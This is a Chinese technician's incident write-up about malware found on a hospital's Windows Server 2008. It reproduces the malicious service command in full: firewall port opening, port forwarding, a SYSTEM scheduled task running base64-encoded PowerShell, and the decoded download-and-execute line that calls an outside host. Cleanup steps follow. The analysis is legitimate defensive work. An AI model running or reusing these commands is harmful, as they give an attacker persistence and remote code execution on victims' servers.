早上接到电话,昨天下午某医院一台Windows server2008服务器异常重启
系统日志里面 在服务器重启之前 有一条错误信息和一条正常信息
正常信息:
服务已安装在系统中。
服务名称: ASEXGYDVQGUCOASATURE
服务文件名: %COMSPEC% /C "netsh.exe firewall add portopening tcp 65353 DNS&netsh interface portproxy add v4tov4 listenport=65353 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA=" /F &schtasks /run /tn Sync"
服务类型: 用户模式服务
服务启动类型: 按需启动
服务帐户: LocalSystem
错误信息:
等待 ASEXGYDVQGUCOASATURE 服务的连接超时(30000 毫秒)。
之后就是服务器重启信息 特别注意到这条:
进程 wininit.exe 为用户 开始计算机 HUAWEI1 的 重新启动,原因如下: 没有找到这个原因的标题
原因代码: 0x50006
关机类型: 重新启动
注释: 系统进程 C:\Windows\system32\lsass.exe 意外终止,状态码为 255。系统现在将关机,并重新启动。
这个报错信息我很熟悉!之前在其他医院服务器上也见过,是木马利用系统进程wininit.exe重启服务器,从这个报错信息我就基本上确定服务器是中病毒了
然后我又回头看了下之前的那个正常信息
服务名称: ASEXGYDVQGUCOASATURE,为随机的字符串。
%COMSPEC% /C "netsh.exe firewall add portopening tcp 65353 DNS&netsh interface portproxy add v4tov4 listenport=65353 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA=" /F &schtasks /run /tn Sync"
%COMSPEC%=C:\Windows\system32\cmd.exe
然后命令分为:
netsh.exe firewall add portopening tcp 65353 DNS
netsh interface portproxy add v4tov4 listenport=65353 connectaddress=1.1.1.1 connectport=53
schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr "powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA=" /F
schtasks /run /tn Sync
大概意思是 去cmd里执行
1.开65353端口
2.开启代理,做端口转发,如果有socket连接到65353端口时,本机就连接到1.1.1.1的53端口
3.添加定时计划任务Sync 7点开始 40min一次 执行"powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA="
4.启用这个Sync任务
(schtask 命令详解:https://www.cnblogs.com/yumianhu/p/3710743.html)
果真 去任务计划程序里面找到了这个Sync任务。
网上百度了一下 说这个powershell后面这一长串命令是经过Base64编码的数据 可以用python解密 遂试了一下
>>> import base64
>>> code="SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA="
>>> base64.b64decode(code).decode('UTF16')
"IEX (New-Object Net.WebClient).downloadstring('http://p.estonine.com/p?smb')"
"IEX (New-Object Net.WebClient).downloadstring('http://p.estonine.com/p?smb')"---这个好像是下载一个东西
做了如下处理:
1.删除了端口转发 netsh interface portproxy delete v4tov4 listenport=65353 listenaddress=*
2.本地计算机策略--计算机配置--Windows设置--安全设置--ip安全设置里 禁用的65535和445端口(因为我netstat -ano看到了很多445 syn_sent)
这个msdtc.exe 是sqlserver的服务进程 我没敢kill。
3.通知医院
参考:
https://www.freebuf.com/column/183705.html
https://www.sohu.com/a/198999800_750628